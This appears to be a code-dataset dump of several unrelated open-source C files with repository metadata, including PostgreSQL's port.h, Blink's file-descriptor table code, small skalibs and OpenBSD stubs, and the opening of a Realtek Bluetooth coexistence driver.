INLINE int get_highest_on_bit(unsigned short x);
INLINE int get_highest_on_bit(unsigned int x);
INLINE int get_highest_on_bit(unsigned long x);
INLINE int get_highest_on_bit(unsigned long long x);
INLINE int get_next_higher_bit(unsigned short x);
INLINE int get_next_higher_bit(unsigned int x);
INLINE int get_next_higher_bit(unsigned long x);
INLINE int get_next_higher_bit(unsigned long long x);
// This table precomputes the number of on bits in each 16-bit word.
extern EXPCL_PANDA_PUTIL const unsigned char num_bits_on[65536];
#include "pbitops.I"
#endif
|
124444a90a88807a84c69479cb83a7f5494273d3
|
eb907ede8881df72394637539b204a36089afe45
|
/deps/check-0.9.8/doc/example/src/main.c
|
caeae4a09c0c8c801d97a0b869be69406f2dc1fb
|
[
"LGPL-2.1-only"
] |
permissive
|
armon/hlld
|
735ce9d1b179d0da8e6efb9e60a77ab94fe2c8b2
|
a7b035ff305a48335c8a3c39d6617ce5ffc1f980
|
refs/heads/master
| 2023-07-08T20:50:32.609950
| 2021-02-11T17:57:24
| 2021-02-11T17:57:24
| 9,990,694
| 205
| 28
|
BSD-3-Clause
| 2021-02-11T17:57:25
| 2013-05-10T21:25:27
|
C
|
UTF-8
|
C
| false
| false
| 242
|
c
|
main.c
|
#include "money.h"
/* only main should be in this file, to make all other functions in
the prograble testable by Check. in order to test main(), use a
whole program testing framework like Autotest.
*/
int
main (void)
{
return 0;
}
|
cd2e6bfb67eef95eba0197b784775b764e723a35
|
1661c43eaf9e44dfe7cce269cfaae62e336036f1
|
/blink/fds.c
|
a09549c66eb1f5c55621f650660eab653425102b
|
[] |
permissive
|
jart/blink
|
3354eaf084e3e85a50372f1a93fc75ff2b9488b1
|
312a027d0908c1b1f9d1e9ebba837da569606b82
|
refs/heads/master
| 2023-08-31T21:30:40.551686
| 2023-08-22T15:42:44
| 2023-08-22T15:42:44
| 561,183,031
| 6,089
| 192
|
ISC
| 2023-08-22T15:42:46
| 2022-11-03T06:07:09
|
C
|
UTF-8
|
C
| false
| false
| 5,045
|
c
|
fds.c
|
/*-*- mode:c;indent-tabs-mode:nil;c-basic-offset:2;tab-width:8;coding:utf-8 -*-│
│vi: set net ft=c ts=2 sts=2 sw=2 fenc=utf-8 :vi│
╞══════════════════════════════════════════════════════════════════════════════╡
│ Copyright 2022 Justine Alexandra Roberts Tunney │
│ │
│ Permission to use, copy, modify, and/or distribute this software for │
│ any purpose with or without fee is hereby granted, provided that the │
│ above copyright notice and this permission notice appear in all copies. │
│ │
│ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL │
│ WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED │
│ WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE │
│ AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL │
│ DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR │
│ PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER │
│ TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR │
│ PERFORMANCE OF THIS SOFTWARE. │
╚─────────────────────────────────────────────────────────────────────────────*/
#include "blink/fds.h"
#include <fcntl.h>
#include <limits.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include "blink/assert.h"
#include "blink/atomic.h"
#include "blink/builtin.h"
#include "blink/errno.h"
#include "blink/log.h"
#include "blink/macros.h"
#include "blink/thread.h"
#include "blink/vfs.h"
void InitFds(struct Fds *fds) {
fds->list = 0;
unassert(!pthread_mutex_init(&fds->lock, 0));
}
struct Fd *AddFd(struct Fds *fds, int fildes, int oflags) {
struct Fd *fd;
if (fildes >= 0) {
if ((fd = (struct Fd *)calloc(1, sizeof(*fd)))) {
dll_init(&fd->elem);
fd->cb = &kFdCbHost;
fd->fildes = fildes;
fd->oflags = oflags;
unassert(!pthread_mutex_init(&fd->lock, 0));
dll_make_first(&fds->list, &fd->elem);
}
return fd;
} else {
einval();
return 0;
}
}
struct Fd *ForkFd(struct Fds *fds, struct Fd *fd, int fildes, int oflags) {
struct Fd *fd2;
if ((fd2 = AddFd(fds, fildes, oflags))) {
if (fd) {
fd2->path = fd->path ? strdup(fd->path) : 0;
fd2->socktype = fd->socktype;
fd2->norestart = fd->norestart;
memcpy(&fd2->saddr, &fd->saddr, sizeof(fd->saddr));
}
}
return fd2;
}
struct Fd *GetFd(struct Fds *fds, int fildes) {
bool lru;
struct Dll *e;
if (fildes >= 0) {
lru = false;
for (e = dll_first(fds->list); e; e = dll_next(fds->list, e)) {
if (FD_CONTAINER(e)->fildes == fildes) {
if (lru) {
dll_remove(&fds->list, e);
dll_make_first(&fds->list, e);
}
return FD_CONTAINER(e);
}
lru = true;
}
}
ebadf();
return 0;
}
void LockFd(struct Fd *fd) {
LOCK(&fd->lock);
}
void UnlockFd(struct Fd *fd) {
UNLOCK(&fd->lock);
}
int CountFds(struct Fds *fds) {
int n = 0;
struct Dll *e;
for (e = dll_first(fds->list); e; e = dll_next(fds->list, e)) {
++n;
}
return n;
}
void FreeFd(struct Fd *fd) {
if (fd) {
unassert(!pthread_mutex_destroy(&fd->lock));
free(fd->path);
free(fd);
}
}
void DestroyFds(struct Fds *fds) {
struct Dll *e, *e2;
for (e = dll_first(fds->list); e; e = e2) {
e2 = dll_next(fds->list, e);
dll_remove(&fds->list, e);
FreeFd(FD_CONTAINER(e));
}
unassert(!fds->list);
unassert(!pthread_mutex_destroy(&fds->lock));
}
static int GetFdSocketType(int fildes, int *type) {
socklen_t len = sizeof(*type);
return VfsGetsockopt(fildes, SOL_SOCKET, SO_TYPE, type, &len);
}
static bool IsNoRestartSocket(int fildes) {
struct timeval tv = {0};
socklen_t len = sizeof(tv);
VfsGetsockopt(fildes, SOL_SOCKET, SO_RCVTIMEO, &tv, &len);
return tv.tv_sec || tv.tv_usec;
}
void InheritFd(struct Fd *fd) {
#ifndef DISABLE_SOCKETS
socklen_t addrlen;
if (!fd) return;
if (!GetFdSocketType(fd->fildes, &fd->socktype)) {
fd->norestart = IsNoRestartSocket(fd->fildes);
addrlen = sizeof(fd->saddr);
VfsGetsockname(fd->fildes, (struct sockaddr *)&fd->saddr, &addrlen);
}
#endif
}
void AddStdFd(struct Fds *fds, int fildes) {
int flags;
if ((flags = VfsFcntl(fildes, F_GETFL, 0)) >= 0) {
InheritFd(AddFd(fds, fildes, flags));
}
}
|
a0774ef773c33509845253cfe27dabdef7f126ae
|
f8cc1dd4b1378490386def2e0571561fab10b275
|
/src/include/skalibs/alarm.h
|
22f8d4cffc1d3b53aa265620ce51247ac1031612
|
[
"ISC"
] |
permissive
|
skarnet/skalibs
|
b1eb2a0e38663cbfa918ee0a7916f56227bd7c2d
|
1f2d5f95684e93f8523e369ef1fed7a75c444082
|
refs/heads/master
| 2023-08-23T07:33:20.996016
| 2023-08-08T09:39:15
| 2023-08-08T09:39:15
| 31,461,366
| 104
| 32
|
ISC
| 2021-04-11T10:10:54
| 2015-02-28T12:01:41
|
C
|
UTF-8
|
C
| false
| false
| 270
|
h
|
alarm.h
|
/* ISC license. */
#ifndef SKALIBS_ALARM_H
#define SKALIBS_ALARM_H
#include <skalibs/tai.h>
extern int alarm_milliseconds (unsigned int) ;
extern int alarm_timeout (tain const *) ;
extern int alarm_deadline (tain const *) ;
extern void alarm_disable (void) ;
#endif
|
3496390a932cb5fa3987077d77446964b8d264b5
|
8a51a96f61699f0318315ccc89cef39f6866f2b5
|
/src/include/port.h
|
5979139ebc63c4af08fb9f633bf04b42f7b5956a
|
[
"PostgreSQL"
] |
permissive
|
postgres/postgres
|
979febf2b41c00090d1256228f768f33e7ef3b6f
|
b5934bfd6071fed3a38cea0cfaa93afda63d9c0c
|
refs/heads/master
| 2023-08-31T00:10:01.373472
| 2023-08-30T23:07:48
| 2023-08-30T23:07:48
| 927,442
| 13,691
| 4,807
|
NOASSERTION
| 2023-09-09T13:59:15
| 2010-09-21T11:35:45
|
C
|
UTF-8
|
C
| false
| false
| 16,858
|
h
|
port.h
|
/*-------------------------------------------------------------------------
*
* port.h
* Header for src/port/ compatibility functions.
*
* Portions Copyright (c) 1996-2023, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
* src/include/port.h
*
*-------------------------------------------------------------------------
*/
#ifndef PG_PORT_H
#define PG_PORT_H
#include <ctype.h>
/*
* Windows has enough specialized port stuff that we push most of it off
* into another file.
* Note: Some CYGWIN includes might #define WIN32.
*/
#if defined(WIN32) && !defined(__CYGWIN__)
#include "port/win32_port.h"
#endif
/* socket has a different definition on WIN32 */
#ifndef WIN32
typedef int pgsocket;
#define PGINVALID_SOCKET (-1)
#else
typedef SOCKET pgsocket;
#define PGINVALID_SOCKET INVALID_SOCKET
#endif
/* if platform lacks socklen_t, we assume this will work */
#ifndef HAVE_SOCKLEN_T
typedef unsigned int socklen_t;
#endif
/* non-blocking */
extern bool pg_set_noblock(pgsocket sock);
extern bool pg_set_block(pgsocket sock);
/* Portable path handling for Unix/Win32 (in path.c) */
extern bool has_drive_prefix(const char *path);
extern char *first_dir_separator(const char *filename);
extern char *last_dir_separator(const char *filename);
extern char *first_path_var_separator(const char *pathlist);
extern void join_path_components(char *ret_path,
const char *head, const char *tail);
extern void canonicalize_path(char *path);
extern void make_native_path(char *filename);
extern void cleanup_path(char *path);
extern bool path_contains_parent_reference(const char *path);
extern bool path_is_relative_and_below_cwd(const char *path);
extern bool path_is_prefix_of_path(const char *path1, const char *path2);
extern char *make_absolute_path(const char *path);
extern const char *get_progname(const char *argv0);
extern void get_share_path(const char *my_exec_path, char *ret_path);
extern void get_etc_path(const char *my_exec_path, char *ret_path);
extern void get_include_path(const char *my_exec_path, char *ret_path);
extern void get_pkginclude_path(const char *my_exec_path, char *ret_path);
extern void get_includeserver_path(const char *my_exec_path, char *ret_path);
extern void get_lib_path(const char *my_exec_path, char *ret_path);
extern void get_pkglib_path(const char *my_exec_path, char *ret_path);
extern void get_locale_path(const char *my_exec_path, char *ret_path);
extern void get_doc_path(const char *my_exec_path, char *ret_path);
extern void get_html_path(const char *my_exec_path, char *ret_path);
extern void get_man_path(const char *my_exec_path, char *ret_path);
extern bool get_home_path(char *ret_path);
extern void get_parent_directory(char *path);
/* common/pgfnames.c */
extern char **pgfnames(const char *path);
extern void pgfnames_cleanup(char **filenames);
#define IS_NONWINDOWS_DIR_SEP(ch) ((ch) == '/')
#define is_nonwindows_absolute_path(filename) \
( \
IS_NONWINDOWS_DIR_SEP((filename)[0]) \
)
#define IS_WINDOWS_DIR_SEP(ch) ((ch) == '/' || (ch) == '\\')
/* See path_is_relative_and_below_cwd() for how we handle 'E:abc'. */
#define is_windows_absolute_path(filename) \
( \
IS_WINDOWS_DIR_SEP((filename)[0]) || \
(isalpha((unsigned char) ((filename)[0])) && (filename)[1] == ':' && \
IS_WINDOWS_DIR_SEP((filename)[2])) \
)
/*
* is_absolute_path and IS_DIR_SEP
*
* By using macros here we avoid needing to include path.c in libpq.
*/
#ifndef WIN32
#define IS_DIR_SEP(ch) IS_NONWINDOWS_DIR_SEP(ch)
#define is_absolute_path(filename) is_nonwindows_absolute_path(filename)
#else
#define IS_DIR_SEP(ch) IS_WINDOWS_DIR_SEP(ch)
#define is_absolute_path(filename) is_windows_absolute_path(filename)
#endif
/*
* This macro provides a centralized list of all errnos that identify
* hard failure of a previously-established network connection.
* The macro is intended to be used in a switch statement, in the form
* "case ALL_CONNECTION_FAILURE_ERRNOS:".
*
* Note: this groups EPIPE and ECONNRESET, which we take to indicate a
* probable server crash, with other errors that indicate loss of network
* connectivity without proving much about the server's state. Places that
* are actually reporting errors typically single out EPIPE and ECONNRESET,
* while allowing the network failures to be reported generically.
*/
#define ALL_CONNECTION_FAILURE_ERRNOS \
EPIPE: \
case ECONNRESET: \
case ECONNABORTED: \
case EHOSTDOWN: \
case EHOSTUNREACH: \
case ENETDOWN: \
case ENETRESET: \
case ENETUNREACH: \
case ETIMEDOUT
/* Portable locale initialization (in exec.c) */
extern void set_pglocale_pgservice(const char *argv0, const char *app);
/* Portable way to find and execute binaries (in exec.c) */
extern int validate_exec(const char *path);
extern int find_my_exec(const char *argv0, char *retpath);
extern int find_other_exec(const char *argv0, const char *target,
const char *versionstr, char *retpath);
extern char *pipe_read_line(char *cmd, char *line, int maxsize);
/* Doesn't belong here, but this is used with find_other_exec(), so... */
#define PG_BACKEND_VERSIONSTR "postgres (PostgreSQL) " PG_VERSION "\n"
#ifdef EXEC_BACKEND
/* Disable ASLR before exec, for developer builds only (in exec.c) */
extern int pg_disable_aslr(void);
#endif
#if defined(WIN32) || defined(__CYGWIN__)
#define EXE ".exe"
#else
#define EXE ""
#endif
#if defined(WIN32) && !defined(__CYGWIN__)
#define DEVNULL "nul"
#else
#define DEVNULL "/dev/null"
#endif
/* Portable delay handling */
extern void pg_usleep(long microsec);
/* Portable SQL-like case-independent comparisons and conversions */
extern int pg_strcasecmp(const char *s1, const char *s2);
extern int pg_strncasecmp(const char *s1, const char *s2, size_t n);
extern unsigned char pg_toupper(unsigned char ch);
extern unsigned char pg_tolower(unsigned char ch);
extern unsigned char pg_ascii_toupper(unsigned char ch);
extern unsigned char pg_ascii_tolower(unsigned char ch);
/*
* Beginning in v12, we always replace snprintf() and friends with our own
* implementation. This symbol is no longer consulted by the core code,
* but keep it defined anyway in case any extensions are looking at it.
*/
#define USE_REPL_SNPRINTF 1
/*
* Versions of libintl >= 0.13 try to replace printf() and friends with
* macros to their own versions that understand the %$ format. We do the
* same, so disable their macros, if they exist.
*/
#ifdef vsnprintf
#undef vsnprintf
#endif
#ifdef snprintf
#undef snprintf
#endif
#ifdef vsprintf
#undef vsprintf
#endif
#ifdef sprintf
#undef sprintf
#endif
#ifdef vfprintf
#undef vfprintf
#endif
#ifdef fprintf
#undef fprintf
#endif
#ifdef vprintf
#undef vprintf
#endif
#ifdef printf
#undef printf
#endif
extern int pg_vsnprintf(char *str, size_t count, const char *fmt, va_list args) pg_attribute_printf(3, 0);
extern int pg_snprintf(char *str, size_t count, const char *fmt,...) pg_attribute_printf(3, 4);
extern int pg_vsprintf(char *str, const char *fmt, va_list args) pg_attribute_printf(2, 0);
extern int pg_sprintf(char *str, const char *fmt,...) pg_attribute_printf(2, 3);
extern int pg_vfprintf(FILE *stream, const char *fmt, va_list args) pg_attribute_printf(2, 0);
extern int pg_fprintf(FILE *stream, const char *fmt,...) pg_attribute_printf(2, 3);
extern int pg_vprintf(const char *fmt, va_list args) pg_attribute_printf(1, 0);
extern int pg_printf(const char *fmt,...) pg_attribute_printf(1, 2);
#ifndef WIN32
/*
* We add a pg_ prefix as a warning that the Windows implementations have the
* non-standard side-effect of changing the current file position.
*/
#define pg_pread pread
#define pg_pwrite pwrite
#endif
/*
* We use __VA_ARGS__ for printf to prevent replacing references to
* the "printf" format archetype in format() attribute declarations.
* That unfortunately means that taking a function pointer to printf
* will not do what we'd wish. (If you need to do that, you must name
* pg_printf explicitly.) For printf's sibling functions, use
* parameterless macros so that function pointers will work unsurprisingly.
*/
#define vsnprintf pg_vsnprintf
#define snprintf pg_snprintf
#define vsprintf pg_vsprintf
#define sprintf pg_sprintf
#define vfprintf pg_vfprintf
#define fprintf pg_fprintf
#define vprintf pg_vprintf
#define printf(...) pg_printf(__VA_ARGS__)
/* This is also provided by snprintf.c */
extern int pg_strfromd(char *str, size_t count, int precision, double value);
/* Replace strerror() with our own, somewhat more robust wrapper */
extern char *pg_strerror(int errnum);
#define strerror pg_strerror
/* Likewise for strerror_r(); note we prefer the GNU API for that */
extern char *pg_strerror_r(int errnum, char *buf, size_t buflen);
#define strerror_r pg_strerror_r
#define PG_STRERROR_R_BUFLEN 256 /* Recommended buffer size for strerror_r */
/* Wrap strsignal(), or provide our own version if necessary */
extern const char *pg_strsignal(int signum);
extern int pclose_check(FILE *stream);
/* Global variable holding time zone information. */
#if defined(WIN32) || defined(__CYGWIN__)
#define TIMEZONE_GLOBAL _timezone
#define TZNAME_GLOBAL _tzname
#else
#define TIMEZONE_GLOBAL timezone
#define TZNAME_GLOBAL tzname
#endif
#if defined(WIN32) || defined(__CYGWIN__)
/*
* Win32 doesn't have reliable rename/unlink during concurrent access.
*/
extern int pgrename(const char *from, const char *to);
extern int pgunlink(const char *path);
/* Include this first so later includes don't see these defines */
#ifdef _MSC_VER
#include <io.h>
#endif
#define rename(from, to) pgrename(from, to)
#define unlink(path) pgunlink(path)
#endif /* defined(WIN32) || defined(__CYGWIN__) */
/*
* Win32 also doesn't have symlinks, but we can emulate them with
* junction points on newer Win32 versions.
*
* Cygwin has its own symlinks which work on Win95/98/ME where
* junction points don't, so use those instead. We have no way of
* knowing what type of system Cygwin binaries will be run on.
* Note: Some CYGWIN includes might #define WIN32.
*/
#if defined(WIN32) && !defined(__CYGWIN__)
extern int pgsymlink(const char *oldpath, const char *newpath);
extern int pgreadlink(const char *path, char *buf, size_t size);
#define symlink(oldpath, newpath) pgsymlink(oldpath, newpath)
#define readlink(path, buf, size) pgreadlink(path, buf, size)
#endif
extern bool rmtree(const char *path, bool rmtopdir);
#if defined(WIN32) && !defined(__CYGWIN__)
/*
* open() and fopen() replacements to allow deletion of open files and
* passing of other special options.
*/
#define O_DIRECT 0x80000000
extern HANDLE pgwin32_open_handle(const char *, int, bool);
extern int pgwin32_open(const char *, int,...);
extern FILE *pgwin32_fopen(const char *, const char *);
#define open(a,b,c) pgwin32_open(a,b,c)
#define fopen(a,b) pgwin32_fopen(a,b)
/*
* Mingw-w64 headers #define popen and pclose to _popen and _pclose. We want
* to use our popen wrapper, rather than plain _popen, so override that. For
* consistency, use our version of pclose, too.
*/
#ifdef popen
#undef popen
#endif
#ifdef pclose
#undef pclose
#endif
/*
* system() and popen() replacements to enclose the command in an extra
* pair of quotes.
*/
extern int pgwin32_system(const char *command);
extern FILE *pgwin32_popen(const char *command, const char *type);
#define system(a) pgwin32_system(a)
#define popen(a,b) pgwin32_popen(a,b)
#define pclose(a) _pclose(a)
#else /* !WIN32 */
/*
* Win32 requires a special close for sockets and pipes, while on Unix
* close() does them all.
*/
#define closesocket close
#endif /* WIN32 */
/*
* On Windows, setvbuf() does not support _IOLBF mode, and interprets that
* as _IOFBF. To add insult to injury, setvbuf(file, NULL, _IOFBF, 0)
* crashes outright if "parameter validation" is enabled. Therefore, in
* places where we'd like to select line-buffered mode, we fall back to
* unbuffered mode instead on Windows. Always use PG_IOLBF not _IOLBF
* directly in order to implement this behavior.
*/
#ifndef WIN32
#define PG_IOLBF _IOLBF
#else
#define PG_IOLBF _IONBF
#endif
/*
* Default "extern" declarations or macro substitutes for library routines.
* When necessary, these routines are provided by files in src/port/.
*/
/* Type to use with fseeko/ftello */
#ifndef WIN32 /* WIN32 is handled in port/win32_port.h */
#define pgoff_t off_t
#endif
#ifndef HAVE_GETPEEREID
/* On Windows, Perl might have incompatible definitions of uid_t and gid_t. */
#ifndef PLPERL_HAVE_UID_GID
extern int getpeereid(int sock, uid_t *uid, gid_t *gid);
#endif
#endif
/*
* Glibc doesn't use the builtin for clang due to a *gcc* bug in a version
* newer than the gcc compatibility clang claims to have. This would cause a
* *lot* of superfluous function calls, therefore revert when using clang. In
* C++ there's issues with libc++ (not libstdc++), so disable as well.
*/
#if defined(__clang__) && !defined(__cplusplus)
/* needs to be separate to not confuse other compilers */
#if __has_builtin(__builtin_isinf)
/* need to include before, to avoid getting overwritten */
#include <math.h>
#undef isinf
#define isinf __builtin_isinf
#endif /* __has_builtin(isinf) */
#endif /* __clang__ && !__cplusplus */
#ifndef HAVE_EXPLICIT_BZERO
extern void explicit_bzero(void *buf, size_t len);
#endif
#ifdef HAVE_BUGGY_STRTOF
extern float pg_strtof(const char *nptr, char **endptr);
#define strtof(a,b) (pg_strtof((a),(b)))
#endif
#ifdef WIN32
/* src/port/win32link.c */
extern int link(const char *src, const char *dst);
#endif
#ifndef HAVE_MKDTEMP
extern char *mkdtemp(char *path);
#endif
#ifndef HAVE_INET_ATON
#include <netinet/in.h>
#include <arpa/inet.h>
extern int inet_aton(const char *cp, struct in_addr *addr);
#endif
#if !HAVE_DECL_STRLCAT
extern size_t strlcat(char *dst, const char *src, size_t siz);
#endif
#if !HAVE_DECL_STRLCPY
extern size_t strlcpy(char *dst, const char *src, size_t siz);
#endif
#if !HAVE_DECL_STRNLEN
extern size_t strnlen(const char *str, size_t maxlen);
#endif
/* port/user.c */
#ifndef WIN32
extern bool pg_get_user_name(uid_t user_id, char *buffer, size_t buflen);
extern bool pg_get_user_home_dir(uid_t user_id, char *buffer, size_t buflen);
#endif
extern void pg_qsort(void *base, size_t nel, size_t elsize,
int (*cmp) (const void *, const void *));
extern int pg_qsort_strcmp(const void *a, const void *b);
#define qsort(a,b,c,d) pg_qsort(a,b,c,d)
typedef int (*qsort_arg_comparator) (const void *a, const void *b, void *arg);
extern void qsort_arg(void *base, size_t nel, size_t elsize,
qsort_arg_comparator cmp, void *arg);
extern void qsort_interruptible(void *base, size_t nel, size_t elsize,
qsort_arg_comparator cmp, void *arg);
extern void *bsearch_arg(const void *key, const void *base0,
size_t nmemb, size_t size,
int (*compar) (const void *, const void *, void *),
void *arg);
/* port/chklocale.c */
extern int pg_get_encoding_from_locale(const char *ctype, bool write_message);
#if defined(WIN32) && !defined(FRONTEND)
extern int pg_codepage_to_encoding(UINT cp);
#endif
/* port/inet_net_ntop.c */
extern char *pg_inet_net_ntop(int af, const void *src, int bits,
char *dst, size_t size);
/* port/pg_strong_random.c */
extern void pg_strong_random_init(void);
extern bool pg_strong_random(void *buf, size_t len);
/*
* pg_backend_random used to be a wrapper for pg_strong_random before
* Postgres 12 for the backend code.
*/
#define pg_backend_random pg_strong_random
/* port/pgcheckdir.c */
extern int pg_check_dir(const char *dir);
/* port/pgmkdirp.c */
extern int pg_mkdir_p(char *path, int omode);
/* port/pqsignal.c */
typedef void (*pqsigfunc) (SIGNAL_ARGS);
extern pqsigfunc pqsignal(int signo, pqsigfunc func);
/* port/quotes.c */
extern char *escape_single_quotes_ascii(const char *src);
/* common/wait_error.c */
extern char *wait_result_to_str(int exitstatus);
extern bool wait_result_is_signal(int exit_status, int signum);
extern bool wait_result_is_any_signal(int exit_status, bool include_command_not_found);
extern int wait_result_to_exit_code(int exit_status);
/*
* Interfaces that we assume all Unix system have. We retain individual macros
* for better documentation.
*
* For symlink-related functions, there is often no need to test these macros,
* because we provided basic support on Windows that can work with absolute
* paths to directories. Code that wants to test for complete symlink support
* (including relative paths and non-directories) should be conditional on
* HAVE_READLINK or HAVE_SYMLINK.
*/
#ifndef WIN32
#define HAVE_GETRLIMIT 1
#define HAVE_POLL 1
#define HAVE_POLL_H 1
#define HAVE_READLINK 1
#define HAVE_SETSID 1
#define HAVE_SHM_OPEN 1
#define HAVE_SYMLINK 1
#endif
#endif /* PG_PORT_H */
|
a7ec30bfaedd500665f92941c0e270acfc58ff64
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/regress/sbin/isakmpd/common/log.c
|
92fde8b3fe7146692a5ed0ae12d2b8d4f0f71574
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 544
|
c
|
log.c
|
/* $OpenBSD: log.c,v 1.1 2016/09/02 16:54:29 mikeb Exp $ */
/*
* Public Domain 2016 Mike Belopuhov
*/
#include <sys/types.h>
#include <stdlib.h>
void
log_debug(int cls, int level, const char *fmt, ...)
{
}
void
log_debug_buf(int cls, int level, const char *header, const u_int8_t *buf,
size_t sz)
{
}
void
log_print(const char *fmt, ...)
{
}
void
log_error(const char *fmt, ...)
{
}
void
log_errorx(const char *fmt, ...)
{
}
void
log_fatal(const char *fmt, ...)
{
exit(1);
}
void
log_fatalx(const char *fmt, ...)
{
exit(1);
}
|
00b2e2089a5f7130b224670e03e571b9047105d5
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/net/wireless/rtl8189fs/hal/btc/HalBtc8703b1Ant.c
|
ec6f8a0398426be8902a3246aa721d1b80cc9fca
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
BIG5
|
C
| false
| false
| 139,397
|
c
|
HalBtc8703b1Ant.c
|
//============================================================
// Description:
//
// This file is for RTL8703B Co-exist mechanism
//
// History
// 2012/11/15 Cosa first check in.
//
//============================================================
//============================================================
// include files
//============================================================
#include "Mp_Precomp.h"
#if WPP_SOFTWARE_TRACE
#include "HalBtc8703b1Ant.tmh"
#endif
//#include <Math.h>
#if(BT_30_SUPPORT == 1)
//============================================================
// Global variables, these are static variables
//============================================================
static COEX_DM_8703B_1ANT GLCoexDm8703b1Ant;
static PCOEX_DM_8703B_1ANT pCoexDm=&GLCoexDm8703b1Ant;
static COEX_STA_8703B_1ANT GLCoexSta8703b1Ant;
static PCOEX_STA_8703B_1ANT pCoexSta=&GLCoexSta8703b1Ant;
static PSDSCAN_STA_8703B_1ANT GLPsdScan8703b1Ant;
static PPSDSCAN_STA_8703B_1ANT pPsdScan = &GLPsdScan8703b1Ant;
const char *const GLBtInfoSrc8703b1Ant[]={
"BT Info[wifi fw]",
"BT Info[bt rsp]",
"BT Info[bt auto report]",
};
u4Byte GLCoexVerDate8703b1Ant=20150413;
u4Byte GLCoexVer8703b1Ant=0x01;
//============================================================
// local function proto type if needed
//============================================================
//============================================================
// local function start with halbtc8703b1ant_
//============================================================
u1Byte
halbtc8703b1ant_BtRssiState(
u1Byte levelNum,
u1Byte rssiThresh,
u1Byte rssiThresh1
)
{
s4Byte btRssi=0;
u1Byte btRssiState=pCoexSta->preBtRssiState;
btRssi = pCoexSta->btRssi;
if(levelNum == 2)
{
if( (pCoexSta->preBtRssiState == BTC_RSSI_STATE_LOW) ||
(pCoexSta->preBtRssiState == BTC_RSSI_STATE_STAY_LOW))
{
if(btRssi >= (rssiThresh+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
btRssiState = BTC_RSSI_STATE_HIGH;
}
else
{
btRssiState = BTC_RSSI_STATE_STAY_LOW;
}
}
else
{
if(btRssi < rssiThresh)
{
btRssiState = BTC_RSSI_STATE_LOW;
}
else
{
btRssiState = BTC_RSSI_STATE_STAY_HIGH;
}
}
}
else if(levelNum == 3)
{
if(rssiThresh > rssiThresh1)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT Rssi thresh error!!\n"));
return pCoexSta->preBtRssiState;
}
if( (pCoexSta->preBtRssiState == BTC_RSSI_STATE_LOW) ||
(pCoexSta->preBtRssiState == BTC_RSSI_STATE_STAY_LOW))
{
if(btRssi >= (rssiThresh+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
btRssiState = BTC_RSSI_STATE_MEDIUM;
}
else
{
btRssiState = BTC_RSSI_STATE_STAY_LOW;
}
}
else if( (pCoexSta->preBtRssiState == BTC_RSSI_STATE_MEDIUM) ||
(pCoexSta->preBtRssiState == BTC_RSSI_STATE_STAY_MEDIUM))
{
if(btRssi >= (rssiThresh1+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
btRssiState = BTC_RSSI_STATE_HIGH;
}
else if(btRssi < rssiThresh)
{
btRssiState = BTC_RSSI_STATE_LOW;
}
else
{
btRssiState = BTC_RSSI_STATE_STAY_MEDIUM;
}
}
else
{
if(btRssi < rssiThresh1)
{
btRssiState = BTC_RSSI_STATE_MEDIUM;
}
else
{
btRssiState = BTC_RSSI_STATE_STAY_HIGH;
}
}
}
pCoexSta->preBtRssiState = btRssiState;
return btRssiState;
}
u1Byte
halbtc8703b1ant_WifiRssiState(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte index,
IN u1Byte levelNum,
IN u1Byte rssiThresh,
IN u1Byte rssiThresh1
)
{
s4Byte wifiRssi=0;
u1Byte wifiRssiState=pCoexSta->preWifiRssiState[index];
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_S4_WIFI_RSSI, &wifiRssi);
if(levelNum == 2)
{
if( (pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_LOW) ||
(pCoexSta->preWifiRssiState[index] == BTC_RSSI_STATE_STAY_LOW))
{
if(wifiRssi >= (rssiThresh+BTC_RSSI_COEX_THRESH_TOL_8703B_1ANT))
{
wifiRssiState = BTC_RSSI_STATE_HIGH;
}
else
{
wifiRssiState = BTC_RSSI_STATE_STAY_LOW;
}
}
else
{
if(wifiRssi < rssiThresh)
{
wifiRssiState = BTC_RSSI_STATE_LOW;
}
else
{
wifiRssiState = BTC_RSSI_STATE_STAY_HIGH;
}
}
}
else if(levelNum == 3)
{
if(rssiThresh > rssiThresh1)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], wifi RSSI thresh error!!\n"));
